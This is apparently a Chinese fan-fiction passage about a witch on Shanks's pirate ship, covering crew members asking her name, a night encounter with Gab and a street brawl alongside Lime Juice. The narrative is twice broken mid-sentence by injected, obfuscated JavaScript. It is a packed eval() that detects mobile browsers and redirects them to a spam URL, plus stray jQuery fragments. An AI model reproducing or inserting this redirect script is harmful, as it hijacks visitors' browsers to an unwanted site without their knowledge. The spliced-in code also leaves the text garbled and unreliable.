她看不太清他手上的动作,速度太快了,只能听到锅铲和锅面摩擦的金属声音,当然还有食物翻炒和热油的香味儿,随着厨房的热气弥散开来。
“吃这个。”不消多时,一盘炒饭递到她眼前的吧台上。
她低头看看眼前的炒饭,又抬头看看拉基路。
“谢谢你。”她再次垂下头,声音也低低的,“我开动了。”
就尝一口,应该不会有什么危险的。她盯着面前形色鲜美的炒饭,不断尝试说服自己。
“好香。”入口的一瞬间,拉基路看到她眼神亮了一下。
该怎么形容呢,有种咸香的感觉,鲜味也恰到好处,一点都不腻。
“好香,是加了什么吗?”她没想到自己在这艘船上第一次跟除了小猴子之外的船员主动提起话题,是跟厨师聊食物。
“加了咸风铃的花梗和壳作调味料。”拉基路如实回答,他也没想过自己会第一个跟这位行踪无常的巫女搭上话,“就是帕帕哈瑙岛上长的那种咸风铃。”
“我以前只用咸风铃的果实做过果酱。”她把胳膊搭在吧台桌上,紧绷的身体稍微放松下来,“当地的岛民也有用咸风铃酿酒的,但我不知道花梗还可以做调味料。”
“咸风铃的果实不是很苦吗?”
“成熟之后的果实确实很苦,但在生长期时候的味道是甜的。而且还有……”
谁会对食物不感兴趣呢?就连她信奉的梅里提拉女神,也是先创造了食物,后创造了众生。
两个人围绕着食物讨论了一阵,说实话,若说拉基路对船长突然带回来的巫女全无好奇,那也不尽然。其实他想探听些别的事情,比如那些治愈本乡的草药,神奇却严苛的仪式,或者干脆——她的名字。
“其实......”拉基路看着她,却突然不知道该说什么了,他果然还是不擅长应对女人,主动提起话题?打听女士的名字?——那是他们大副贝克曼擅长的,而不是他,于是他临时转了话头:
“其实,我不常在这里看到你,但不好好吃饭可不行。”
“抱歉,”厨师的指摘无可厚非,她在这儿几天确实没怎么正经吃饭。
“不管怎样,谢谢你做的饭。”
她打算趁下一个饭点人群聚集之前离开食堂,去别的地方看看。食堂的双扇门被吱嘎一声推开,金色长发戴墨镜的海贼拎着棍子就进来了。
她赶紧转移视线到眼前的盘子上,假装没看见他。
如果这里只是一个普通的饭店,她所在的地方也不是什么海贼船上的话——她其实很情愿多看那头金发几眼。
柔顺又漂亮,在阳光下金灿灿的——和多年前教导她巫术的老师的长发一模一样。
她羡慕那样秀丽的头发,就像曾经羡慕自己的老师一样。她好奇这个海贼的头发摸上去会不会和看上去一样柔顺。
“噢!莱姆,很精神嘛!”
拉基路和他打了声招呼,后者直奔着吧台走来,在巫女身旁捞了张椅子便坐下了。
她不敢主动转头去看他,更不想说些什么,沉默就这样在邻座的两个人之间蔓延。
“莱姆琼斯(Lime juice)!”金色长发的海贼忽然毫无预兆地大声说了一句,差点儿把她惊得从座位上跳起来。
什么玩意?她终于忍不住转头去看他,他抱着胳膊,目光直视前方,眼神坚定得像要参军。
他在跟谁说话?为什么突然坐在她身边大喊一句“柠檬汁”?是要喝吗?
她又转头看向拉基路,想要寻求一点解释——这位厨师只是笑着对她耸耸肩。
“……我没有柠檬汁。”在一段空白的沉默之后,她终于说。
“我是说我叫莱姆琼斯。”金发的海贼同样看向她,领口毫不在意地敞开着。
“你呢?”
“我?你问我?我……”她受够了被问名字,怎么今天这么多人都要问她。
继上一个叫「蛇」的航海士之后,又来了一个叫「柠檬汁」的海贼。把果汁当作名字,听上去倒是很创新、很美味——前提是柠檬没那么酸的话,她想。
“我叫「苹果汁」”
她摊开手对他说。
12. 谁的名字(二)
大海上来了一只乌鸦。
这种鸟类本不应在大海上出现,它们大多栖居在森林或山地,偶尔也在近海的悬崖边生活。
耶稣布开了狙击枪的瞄准镜,透过准星观察那只停歇在桅杆上的黑鸟。
它正在旭日下懒散地用鸟喙打理自己黑得发亮的羽翼,无所事事地左右摆晃脑袋,偶尔沙哑着嗓子叫上一两声。
他记得船上并没有哪个水手在甲板饲养这种鸟。
于是他给枪上了膛。
“别那样对它,好吗?”
耶稣布身后响起了一道声音,他不用回头看也知道——是几天前刚上船的那个小姑娘,他听贝克曼提起过,是被船长硬拉上来的。
“你养的?”耶稣布卸了枪,抬手阖上瞄准镜。
“它是从以前的森林里跟着我来的。”巫女远远地看向那只乌鸦,那只黑鸟似有所感一样,从桅杆上忽而扑棱起翅膀,向她所在的瞭望台飞来。
“这种鸟没有盐腺,在海上很难活的。”耶稣布拢了下披风,瞭望台上视野开阔,但风也更大。
她什么话也没说,任由那只乌鸦从远处扑腾着翅膀飞来,落在她肩上。
“它叫什么名字?”耶稣布把身体靠在瞭望台的围挡上,双臂枕在脑后,冲她肩上的乌鸦抬了抬下巴。
“小黑。”
——这是她随口编出来的,森林里自由自在的动物永远不需要一个人为的名字去束缚它。
“那你呢?”
“小白。”
她接着信口胡诌了一个。女神在上,她多么希望关于名字的话题能够赶紧到此为止。
“好吧,小白小姐。你是怎么驯服它的?”耶稣布懒得特意戳穿关于名字的谎言,他只是想起第一次踏入森林时阻拦他们的那一群乌泱泱的鸦群,“还有森林里的那一群。”
“我没有驯服它们,乌鸦不能被驯服,它们只是愿意帮我的忙。”
她把自己的脸颊贴近它的羽毛,伸手挠挠小鸟的脑袋。
“乌鸦是聪明又富有感情的动物,会预知危险。我们这一帮人,巫医、祭司、还有那些四处奔走的流浪传教士,都乐于和它们搞好关系。”
这只乌鸦并未在瞭望台停留太久,随即扑扇羽翼飞去了船的别处。
“在我东海老家,那些鸟倒是更爱在坟头儿转悠,”耶稣布注视着乌鸦飞远了,像是在回忆什么似的,“村里大屋的主人干脆在坟场立了个假人驱赶它们,结果反倒把村里的小孩儿吓个半死。”
他说到最后,蓦然笑了出来。
“在我的故乡也差不多,”巫女补充道,“但管理墓地的人并不会刻意驱赶它们,因为在我们的信仰里,乌鸦是引导亡魂去往冥界以及传递思念的使者。”
耶稣布似乎被她最后的话引起了注意,他抿着嘴想了一会儿,继续说:“你也会做类似的事吗?……我是说,像是沟通死者,或者说灵魂?鬼魂?呃,管他呢,总之是这一类的东西。”
“会的。”她回答,“怎么了?你这么问我,是有想到的人吗?”
耶稣布沉默了,这次他没有说话。
“我猜猜……”巫女倒是忽然来了兴致,“你老婆?……呵、狙击手先生,别那么看着我,我只是随便猜的而已——毕竟,做你们海贼这一行当的,最容易出负心汉了。”
————————————————
“在找什么?”
贝克曼进入书室找材料的时候,看到巫女蹲在两排架子之间随意翻着一本日志——自她上船之后的这几天,除了给她安排房间的那天外,这还是他头一次碰到她。
“找清净。”她头也不抬地回了话。
“这里偶尔也会有人来。不算什么清净的地方。”贝克曼抬起头,同样也打量起这件略显昏暗的书室。
房间里堆叠存放着过去的航海日志、羊皮纸的陈旧海图、缴获的保险契据和过期的报纸,还有一本压根儿没人翻过的船规手册——都是些压箱底的东西。货舱清单和伙食账本被他额外存放在别处了。
“跟我走吧,”他微微俯下身向她伸出手,但她仍旧蹲在那里不为所动。
于是这位大副继续补充道:
“不是要找清净吗?来吧。”
———————————————
她被这位大副带到了艉楼甲板二层的一个房间门口。这个位置她先前还没来过,贝克曼在她身前替她开了门。
她在门口向房间内扫视了一圈——房间采光很好,但整体布置得很简单,没什么多余的摆设:一张靠墙的木质桌案,墙壁的柜子里层叠摞着一些书和册子,一把做工不错的木椅,有着铜制的扶手,紧挨着桌案的则是一张单人床。
这大概是谁的房间,她想,而且八成——按照这房间的位置和布局来猜测的话——就是她身边这位大副的房间。
“这是哪儿?你平时住这儿?”她竭力按压住心里拔腿就跑的想法,她人还在这艘船上,暂时也跑不去哪儿。
“是的。”贝克曼倒是坦诚地承认了。
“我是要找清净,不是要和你找乐子。”
“你误会我了,巫女小姐。”他习惯性伸进口袋里掏烟盒,想想又放了回去。“我的意思是,船上那些家伙平常不会来我这儿闹事,我既不会打扰你,也不会说话吵你。”
贝克曼径直走进房间,拉开了椅子:“书室那里光线太暗了,你看书的话可以在这里。”
啊,很好、真好。真是一位心思单纯,乐于助人的大副,她冷笑着想,如果他胆敢突然做出什么多余的事情的话,她发誓,她立马就会用咒语把他变成一条狗,又或许是一条鱼——谁知道呢,也许只有梅里提拉女神才知道,她的变形术咒语运用得还不太熟练。
她向前走几步,坐到那张椅子上,不得不说,这个房间的光线确实亮堂不少,书桌的布置也很适合阅读纸质材料。
而贝克曼,也像刚才承诺她的那样,坐在一边的床上,安静地翻阅手头的报纸。
于是,她在这里——在大副的房间里,的的确确获得了一些暂时的平静。这里既不像活动室那样会有一群人围在一起大呼小叫,也不像食堂那样突然有人风风火火地闯进来,跟藏书室和她自己的房间相比,光线更好也更安静一些。
正是这所求多天来之不易的安静,让她对自己方才想把对方变成狗(或者鱼)的想法生出了些许愧疚,也许自己只是误会他了,他也许只是一位单纯热心的绅士?虽然值得怀疑。
正在她心不在焉地思考着的时候,贝克曼向她递来了一张纸。
“方便的时候登记一下这个。写在这儿就行了。”
这是什么?她接过来看看,船员信息登记?她从来不知道海贼船上还有登记信息这么正经的规矩——至少她以前搭的那艘没有。不过一艘船上一种规矩,也许只是为了方便管理。
姓名,出身地和生日。她在第一栏就犯了难。提起笔不知道该怎么写。
就在她犹豫的时候,“咣当”一声,房门被猛地从外面推开了,突如其来的声响几乎吓了她一跳。
“噢,贝克,原来她在你这里,我正在找呢。”
拥有一头鲜艳红发的男人几步跨进了房间,在她还没想好是继续坐着还是站起来的时候,伸手搭住了她的肩膀。
“还有个几天我们的船就到下一座岛了,我打算——这个贝克也同意了,对吧?——下次登陆的时候一起开个宴会,”香克斯说话中途朝贝克曼刻意眨眨眼睛,大副懒得理他,继续低头看报纸,“为了庆祝本乡康复,还有欢迎你——虽然你听过了,但我还要说——欢迎你来我们这儿。”
开宴会?!她在心里尖叫出声。按她所知道的宴会方式,该不会还要在众目睽睽之下喝酒发言吧?那简直跟给她上刑没什么区别。
“不……我就……”
“别这么客气嘛,以后我们就是一起的了。”这个红发男人自来熟地拍拍她的肩膀,又被她手上拿着的东西吸引了注意,“这是什么?什么的登记表?船上什么时候有的这个?”
香克斯眯眼打量了那张纸一番,不过很快又把它放在一边。他没注意到贝克曼在旁边挪开报纸瞪了他一眼。
“别管这个了,”香克斯乐呵呵地笑着,“我是香克斯,他是贝克,说起来,你看、哎呀,我们都还不知道你叫什么呢?”
什么香菇贝壳的?怎么没人叫海星?
她的眼神依次掠过面前表情欢快的船长,在一旁脸色深沉的大副,以及最后被香克斯按在一旁的那张登记表。
她飞速地拿起笔,在登记表姓名那一栏划了几笔。
“谢谢你的热情,船长。不过我想我还是算了吧。”
她把登记表拍在船长怀里,而后站起身,用此生最快的速度离开了这个房间。
“贝克,我知道她叫什么了!”
香克斯低头看看自己怀里的那张纸,把它翻个面展示给自己的副手。
啊,这个笨蛋。贝克曼无奈地扶额,他简直无语地想要笑出来了。
那张纸上只在姓名一栏里填了东西,准确来说那里写的并不是名字——她在那里画了一只海星。
“叫海星。”
船长笑意盈盈地说。
————————————————
“……所以,我就是这样知道的。”
香克斯把唯一的那只胳膊搭靠在活动室沙发的靠背上,对身旁的人说。
“拜托——头儿,怎么会有人名字叫海星?”
“谁说得准?大海这么大,叫什么的没有?”
“她还告诉我她叫「海鸥」呢。”
“不是叫「苹果汁」吗?”
“你们确定吗,可真好笑,我的版本是「小白」,顺带一提,她的乌鸦是「小黑」。”
“……「同行」。”一旁的医生默默分享出了他的版本。
几个人围在活动室的沙发周围沉默地彼此对视了一会儿,而后忽然爆发出一阵哄笑。
“「同行」?哈哈哈哈哈,谁会那么叫自己?”
“你那「苹果汁」的版本就靠谱到哪里去了吗?”
“那也总比见鬼的「海鸥」和「海星」靠谱一点。”
“我可不这么想,你瞧瞧,「小白」,不是更自然吗?”
“行了、行了,各位。”嘎布——这个好脾气的大个子坐在侧边的沙发上,朝大家摆了摆手,“其实她也告诉我了。”
“噢、她告诉你的是什么?海草?船帆?还是椰汁?”
一帮人来了兴致,纷纷转头看向他。
“她告诉我的不是什么奇怪的名字,”嘎布说:
“她只是———”
————————————————
嘎布一向不习惯于在深夜船上的长廊里晃荡,在老海员长久的口口相传中,船精灵偶尔会在深夜的长廊里出没,修复船只、或做些无伤大雅的恶作剧——有人说那是寄宿在船体中的幽灵,也有人觉得那是曾经亡故船员的幻影。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261283|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
除了今夜,他在自己房间里听到门外的长廊上传来一阵窸窸窣窣的声音,还夹杂着一些间断的、轻盈的脚步声。那声音一会儿好像从木质地板的底下传来,有时又好像在人头顶上。
只有这么一回,他打开房门向走廊外张望,廊前的光线很晦暗,多数人早已休息去了。
在嘎布打开门的时候,那声音又戛然停止。
于是他走出房门,沿着长廊向前寻找。一边走,他一边给自己壮胆,有什么怕的呢?多半是船上的哪个同伴深夜醉倒在长廊前想要爬回房间,就算是......好吧,就算是船精灵什么的,那也总归是自家船的船精灵,雷德弗斯跟着大家这么多年,总不至于对他做什么可怕的事情......
就在他将要转过走廊转角的时候,深夜前进的雷德弗斯号随着海浪的波澜颠簸了一瞬,在廊前晦暗的煤油灯明灭了一刹那——嘎布看到了一个身影,女子的身影,披着黑色斗篷,猛然间出现在走廊转角。
“哇啊啊啊啊啊啊啊——”
“啊啊啊啊啊啊啊——”
两道声音把彼此吓个半死。
等两人找到个明亮的地方坐下互相解释解释的时候,巫女还是没太从刚才的惊吓中缓过来。她只是普通地路过走廊转角准备回房间,结果灯光一灭一明,一个巨高的身影就忽然出现在她面前。
嘎布认出了她,是给本乡治病的那个医生,前几天被船长带上了船。
“那个,医生,你半夜在这里做什么?”
休息室的灯光相对明亮,一大一小两个人隔着桌子面对面坐着,彼此都有点尴尬。
“找虫子。”她说着,手从桌子底下伸出,一个透明的玻璃瓶子被她握在手里——装满了背壳黑亮、密密麻麻带着暗红色透明翅膀的虫子。
“呃——”嘎布瞬间把自己的椅子后撤几米,直到椅背撞上身后的墙壁。这么多虫子一起出现的视觉冲击比让他直接看见鬼还可怕。
“抱歉......你是不是讨厌这个?”她看见对面人的反应,把玻璃瓶收到桌子底下。
“不是——好吧......是。”
这么个大个子居然讨厌虫子,她忽然觉得对面的人似乎也没那么可怕了。
“那些是船榫蛴,经常附在船只木架子里面的虫子,我抓那些是为了喂它——”她掀开身侧的斗篷,一直乌鸦的小脑袋机灵地探了出来,向着休息室四周打量。
“它是跟我来这儿的,”巫女把它从斗篷里放出来,让它随意扑到椅子上,“乌鸦没有盐腺不能代谢海洋食物,所以只能抓船上的虫子喂它。”
“哦,天呐。”嘎布看着乌鸦眨着它水灵灵的小眼睛,“可怜的小家伙。”
“医生,你在这等会儿我,我那儿存了点儿喂鸟的东西,都拿来给你。”
这个大个子矮身撞出了门外,休息室这里的棚顶没那么高,他进出门偶尔还要稍微躬起身子。等他回来的时候,手里拎着一袋子鸟食。
“我有时候也会在甲板上喂喂海鸥,”嘎布说,他把一大袋子放在桌子上,黑色的小鸟从椅背上被吸引了过来,“其实我挺喜欢鸟的,”他笑着说,“它们很擅长吃虫子,羽毛也很柔软。这些你都拿去吧,医生,别客气。”
“这么多......谢谢你!”她抬头看着面前的大个子,现在他看起来不仅不可怕,反而还出乎意料地挺温和的,“我都不知道要怎么感谢你,这些够喂它好长时间了。”
“而且,其实......”她接着说,看上去似乎有点难以开口,“其实我也不算是个真正的医生,顶多算个巫医。”
她的乌鸦朋友站在一整袋鸟食旁边不断扑棱着翅膀,庆祝着。
“不如说,我们和真正的医生一向相处不来,在正经的医生眼里,巫医顶多算是一帮会张牙舞爪的神棍罢了。”
“本乡绝对不会那么想的,”嘎布向她辩解,又急切地补充道:“我们头儿也肯定不会那么想的。更何况,你真的治好了本乡。”
“你可能......你可能不相信,”嘎布的语气又缓下去,“因为我知道你并不是情愿来这里的。但我们头儿其实是个很好的家伙——他真的很好。”
巫女抬头看着他,没有说话。
嘎布同样看着她的眼睛,但在眼神接触时又很快低下头,他接着说:
“其实你刚来的时候我还很害怕......你知道吗,在我的老家,流传了很多关于巫师和幽灵的传说,人们都觉得巫师会给人的灵魂下咒。所以......所以你刚来的时候,其实我也是那么觉得的,我怕你不开心我们船长自作主张拉你上船,所以下什么咒语诅咒他......”
听到最后,巫女反而笑了出来:
“如果只用咒语就能解决一切,那倒好了。”
“咒语和仪式有很多限制和禁忌,不是能够被随意使用的,”她补充道,“就连我自己——都是其中的一环。”
嘎布看到她有些怅然地感慨关于仪式和她自己,忽然有种鬼使神差的力量促使他开口询问:
“医生,你——你叫什么?”
巫女拄着下巴抬起头,她的眼神忽而锐利起来。
在这样一个只有风、雨和海上浪花的夜里,嘎布无比清晰而且一直记得她那时所说的话,只是那个晚上,他尚未得知这些语言在他们日后种种遭遇之中所占的份量:
“我没有名字了。我原本的名字被别人收走了——它不在我这里,它现在是某个咒语的一部分。”
13. 巷战(一)
“平沙屿,浪翻翻
两个水手丢脑袋
脑袋挂上鬼头船”
登陆平沙群岛时是在一个阳光明媚的下午,她在离船不远的岸边听到有两个小孩儿一边唱歌、一边往海里扔石头打水漂。
那两个穿着白色麻布短袖的小家伙唱的歌有些朴素地渗人,但她只看了一眼,没过多在意。
她现在的目标只有一个——那就是趁着这帮海贼忙着准备晚上宴会的空档儿,赶紧去群岛西屿的港口随便找个什么商船货船还是客船离开这里。
她没注意到的是,在靠岸的那艘龙头船上,红发的船长正靠在船舷上远远地望着她。
“不怕人家直接跑了?”大副在他身旁打趣。
“怎么会呢?我有预感,她会和我们一起的。”香克斯坦然地对身旁的人笑笑。
“你决定好了没有?”
“已经决定了。”香克斯说到这句话时脸上的笑容转而消失,贝克曼在一旁倚门看着他,他不笑的时候显得很严肃。
“——下一个目标就是这里。”这位红发的船长把一卷羊皮纸叠做的册子按在船舷的平台上,他的目光落在纸卷角落用红油墨印着的徽章——一个半身狮像——他当初在巫女的小屋里到处探索时,翻出过一模一样的图案。
“赫里兹王国的遗产,”贝克曼的眼神也落在同样的地方,那头半身狮昭示着一个一度辉煌的王国——现如今却已经全部化为乌有,“按我收到的情报,所有到访过那片王国废墟的海贼、探险家、或者倒霉的邻国骑士,能从那活着回来的人全部精神失常了。”
贝克曼给烟续了火,继续平淡地说:“希望你去那儿一趟别变成傻瓜——你已经快要有这个倾向了。”
“拜托,贝克,我才不会,别那么不信任我。”笑容又回到了香克斯脸上,刚才凛然正色的样子像是没存在过一样,“更何况,先别管那么远的事情了,咱们现在的正经事是——晚上在群岛的东屿开宴会,地方都挑好了——现在就得准备起来!”
——————————————————
宴会,啊,烦人的宴会。
巫女在心里默默念叨着,她现在已经快走到群岛西屿的港口了。等到了那儿,她要打听打听天黑之前从西港口出发的船只——最好是赶在那帮海贼开宴会之前离开这里。
天上的太阳把半边脸遮在了海平面以下,夕阳将一片海水染得通红。
跟一帮不熟悉的海贼喝酒唠嗑、大吃大喝,还不如直接杀了她。她一向不擅长应对宴会那种社交场合——何况是跟一帮海贼,情况只会更差。但她的这位红发船长就像天才一样,总能想到折磨她的主意,一会儿自说自话拉人上船,一会儿又要拉着她喝酒开宴会。
群岛西屿港口附近的集市人不算多,纵然已经临近傍晚,街巷两旁摊贩和商店的门口只有寥寥数人,不过大部分还没有关门歇业。
排队最长的摊子前也不过三五人,大概是卖饮料的,一个亚麻色头发的妇女牵着自己的孩子买了两杯握在手里——她猜想大概是果味汽水或者柠檬汁一类的东西,看上去酸酸甜甜的。
说到柠檬,让她忽然想起来,在她待的船上——好在马上就不是她待的船上了——也有一个叫柠檬的小伙子来着。
干嘛无缘无故地想起来,真烦。她甩甩头驱赶走这些念头,握紧了手里的木杖——说是木杖,其实只是雷德弗斯船上杂物间里的一根拖把杆子而已,她拆下来勉强当做巫杖防身。这根破拖把杆子,在她从接舷处登陆时还不小心掉在了海里,被海水泡得湿漉漉的,费了好大力气才捞回来。
哎。她叹了口气,要不是那个海贼,她现在也不至于这么狼狈,至少不会拎着根破拖把杆子满街跑。
就在她距离最近的港口还有两百米左右时,街巷摊贩处霍然传来一阵尖叫。
几乎就是在她转头去看的瞬间,开裂崩坏的砖瓦石砾、从摊贩马车里倾泻而出的苹果和橙子,混杂着沙地上被掀起的烟尘,一齐顺着一股冲击飞到了她的眼前。
不过是眨眼的功夫,就看到轱辘一地的水果和瓦砾中间,还躺着一个金发的年轻人。
她记得他——刚才还想到来着,叫什么来着,什么柠檬——莱姆琼斯。
“喂,小伙子,”她蹲下身对他说,“你躺这儿干嘛?演什么扑街仔?”
他很快就撑着地面调整姿态坐起身,拍拍外套衣领上的尘土,又抓紧了手里那根棍子——那根金属棍子正劈啪作响,好像带着电。
“你怎么也在这儿?你......”莱姆琼斯扭头看到对他说话的人——他们船上的巫女,现在甚至还不知道她的名字——他虽然有点疑惑她为什么从东屿大老远跑到这里,不过这种疑惑并没有持续太长时间。
在夕阳反射下闪着血光的刀刃,以一种惊人的速度从她身后向她劈来。
“随便躺在大街上可不——哇啊——”
“铮”的一声,金属刀与棍短兵相接,发出尖锐刺耳的摩擦声,打断了她原本要说的话。她都没发觉自己身后究竟什么时候冒出一个持着长刀的人,速度快到说是瞬移过来的也不为过。
莱姆琼斯在那个人劈下之前,迅速从地上反应爬起,反身用棍子接下了她身后的那道攻击。
“原来你在跟他打架吗。”
“不止跟他。”
她猛地转头,从街口远处陆陆续续向这边奔来了很多身影,他们和刚才在她身后持长刀的人着装一样,黑色的皮质夹克,银扣在胸前闪闪发光。
一、二、三......十三......四——她已经数不过来了,刚数完前面的,后面又冒出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261284|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。
“你、你你这是得罪谁了?他们这么多人打你一个?”
她回头看向莱姆琼斯,他迅疾地挥棍,狠砸在了刚才那个人的脑袋上,对方抽搐地倒下身去。
“别的海贼团,来挑战的——”
他的话尚未说完,银色的长链破空而出,卷上了他手中的棍子,另一波攻势随之袭来。
“你......”她欲言又止,自觉不应该卷入这些海贼之间的帮派斗争,她本来就没有与任何海贼为伍的想法,来西屿港口这儿本来也是为了跑路的。
但她又不由得有些焦躁地看向莱姆琼斯——他袖口和领口处都流了血,大概是哪里受伤了。不要说双拳难敌四手,对面的这二三十人怕是整个海贼团都倾巢出动,六十几只手都有了。
啊,果然对位战的时代已经结束,像这种组织有序、分工刺杀,趁虚而入一起围殴干部,把他们各个击破的时代才是如今海上帮派械斗的主流吗。
她看着仍在战局中的莱姆琼斯,又转头看看近在眼前的港口。
“我不管你了,扑街仔,你自求多福吧。”
她捞起木杖就向不远处的港口跑去。
她能够听到身后不断传来的瓦砾碎裂的声音、兵刃对撞的震声、以及街巷摊贩和路人的尖叫。
她不断说服自己不要回头、不要回头,只要到港口,只要搭上了船,她就和任何海贼再也没有任何关系。如果继续待在海贼那边,别说她想要的平静生活,恐怕就连正常人的生活也不能维持。
莱姆琼斯转过半身,一跃而起,向前三步躲开身侧斧头的纵劈,双手持棍骤然向前挥劈——他的右胳膊稍微有点发麻,但仍能活动,或者说,他必须保持活动。面前的这帮敌人团战分工有序、各司其职,按照他的经验,现在从斜后方,或者视野两侧——他倏然转过头——就在那里,手持远程武器的枪口已然对准了他。
现在必须——
他还没来得及对枪手有所行动,一盆凉水忽然从旁泼到了那枪手身上,寒冷和惊吓扰乱了原本瞄准的节奏。
“你——”莱姆琼斯看到巫女拎着木盆站在那里,他上前用棍子电死了她身旁的那个枪手,“你干嘛回来了?”
“我也想知道我干嘛回来了。”她小声嘀咕着,说实话,她自己也没想清楚究竟为什么跑回来,明明港口已经近在眼前,若是彻底为了自己的利益打算,就该毫不犹豫一走了之。
他看到她扔下木盆,撑起巫杖——尽管那看起来有点像他们船上的拖把杆——站在自己身边,这让他想起了还在帕帕哈瑙的时候。
“虽然我只算半个医生,但丢下伤员一个人在这里不管,让我良心很不安——你就当是这样吧。”她说。
话音未落,四旁紧密包围的敌人,各持武器一齐朝二人刺来。
14. 巷战(二)
反应过来的时候,她人已经在天上了。
“你是鸟吗?”
空中的风很大,她只得尽可能提高音量。
“我不是鸟——喂、别乱动!”
莱姆琼斯把巫女横抱在怀里,但这位巫女似乎对他飞行在空中的原理更感兴趣,她的手臂攀上他的肩膀,使劲探出脑袋去瞧他的后背。
“你没长翅膀。怎么飞起来的?”
“是月步。”
“真不可思议——话说有「日步」吗?是不是能遁地?”
“你不知道月步?魔女不都会坐着扫帚在天上飞吗?”
“那只是一种刻板印象。”莱姆琼斯在空中步行被吹乱的长头发有一些扫在了她脸上,她用手稍微给他拢了一下,“才没有巫女会坐着扫帚飞——至少我不会,那东西太硌腿了。”
“不过这样真是太方便了,你怎么不早点儿飞起来呢?”她探头看向地面,和敌人拉开了相当一段距离,地上的家伙没有会飞的,“就这样一直飞到主船那里吧,前进莱姆号!”
“你当我是飞艇吗?”莱姆琼斯撇撇嘴,“月步没办法一口气飞那么长距离。更何况,”他隔着墨镜向下瞥了一眼,“那群人里面有不止一个能力者,甩开很麻烦。”
“能力者?不能游泳的那种?”她稍微听说过一些关于恶魔果实的事情。但很快又被分散了注意力——莱姆的头发随着风动又拂到了她脸上,有种淡淡的香味,她有点好奇他用的什么洗发露。
“头儿刚当上四皇,这帮人一个个就跟狗一样咬上来了。”尽管被墨镜遮挡,巫女仍能看到莱姆脸上浮出一丝恶劣的坏笑,她在他身上并没有感受到被围困的恐慌,更多的是兴奋——就像一个真正的猎手,“很好,这样才更有意思。”
“魔术女,”莱姆低头对她说,“我待会儿找个地方把你放下,你先跑,我挡住那些人。”
“那你怎么办?还有别叫我魔术女,”巫女在他耳边提高音量,风实在是太大了,把她的一部分声音溶解在空中,“他们那么多人,如果打定主意把你耗死……”
“你就别管我了,我有我的办法,你该走就走——往主船跑。我不会让他们中的任何一个接近你。”
他已经打定主意要怎么做了,这是他身为海贼,或者说,身为船上战斗员的命途或是本性——哪怕要他付出性命也一样。因此他的声音里并没有半分犹豫,就连风也带不走。
————————————————
「——快跑、快跑吧。」
她眼前有一瞬间的恍惚,像是有什么东西在脑袋里面被点燃。
「离开这儿,然后永远都不要回来。」
所有东西都在燃烧。她看到梅里提拉神殿的火海,帷幕被烧成灰烬,烛台四处倾倒,鲜血从大理石地面一直延伸到白墙上,士兵的惨叫声此起彼伏。
「哪怕你再也找不回自己的名字,哪怕再也找不回来,你也永远——」
她看到自己的老师就站在混乱的火海之间,站在淋漓的鲜血与肢体之间——火舌燎过那位大祭司金色的长发,她的威严仍不减半分。
「永远都别回来,
永远都别回到赫里兹!
像躲避瘟疫一样躲避它!」
她的手在颤抖,却仍然想要去抓紧老师,妄图找回那道她唯一能依靠的身影,然而一切皆是徒劳。
「赶紧跑、已经没时间了,赶紧——」
“往主船跑!!!”
现实的惨酷将她从回忆的恍惚中猛拽出来,但脑海中记忆的残影仍顽固地停留在那里,就像灼烧她的火苗。
太像了,实在太像了。这种感觉她实在太熟悉。她知道被留在那的人会遭遇怎样的命运——她再熟悉不过了:死亡——那个她曾目睹过千百次的结局。
她奔逃的脚步慢了下来,双腿像灌了铅一样沉重,再也无法向前迈开一步。
金色的长发也好,呼唤她离开也好,甚至是求死的意志也好。
那两人的身影在她脑海中渐渐重叠在一起。
————————————————
敌人同时从两侧攻来,一个使剑朝上路横斩,另一个则矮下身子朝腿部挥砍。莱姆琼斯挡住这两次攻击,金属武器的碰撞声紧凑地交击在一起。
尽管挡下了这势大力沉的两刀,冲力却使他不得不回退到巷口,他挑开其中的一刀,棍棒旋转,挥出短促的一击,敌人头骨碎裂的震动透过武器传递到他手上。紧接着朝反方向再度转身,径直劈向对方的脑袋。
但与此同时,刀刃也划破了他的胸膛。他堪堪握紧武器,后背抵靠在巷口的石制墙壁上。
还没完呢。莱姆想,但天已经黑了。
他干脆摘了墨镜,想用衣袖揩掉脸上的血——那些鲜血有的属于他,有的则不是,却都一股股向下流淌,有些糊住了眼睫毛,太遮挡视线。
胳膊和胸口的位置传来一阵剧痛——他后知后觉,手肘下方的肌腱几近被割断,鲜血从中泉涌而出。他刚才没太关注这些,凭着一股激愤的热血疯狂一般地厮杀到现在,那种心情遮蔽了痛感,遮蔽了时间,或者说,遮蔽了一切。
天已经黑了,莱姆想,不知道她现在走到哪儿了。
血液随着温度一起流离了他的身体。眼前的景色开始渐渐游离,像蒙着一层晦暗的水波,月亮在夜空中摇晃着。
还站得住,武器也还拿得起来,必须要拿起来,必须要,无论如何,至少在彻底干掉他们之前——那伙人里还剩下两个。
两个难缠的能力者。
那两人的身影浮现在巷口,他们踢开横卧在脚边的同伴的尸体,步步向他围近。
其实莱姆不太在意自己会死在哪里,对他来说,死哪儿算哪儿,反正都在大海上。至于死后会去哪里,他也从来都没想过。
活着的时候,随着大海自由飘荡,死后就像落叶沉到水里,那又有什么关系。他身为海贼的本性就是如此,死在厮杀里,死在血污里,死在他曾挥向别人、最终也会挥向自己的兵械下。
他用还能动弹的那条手臂攥紧了武器。
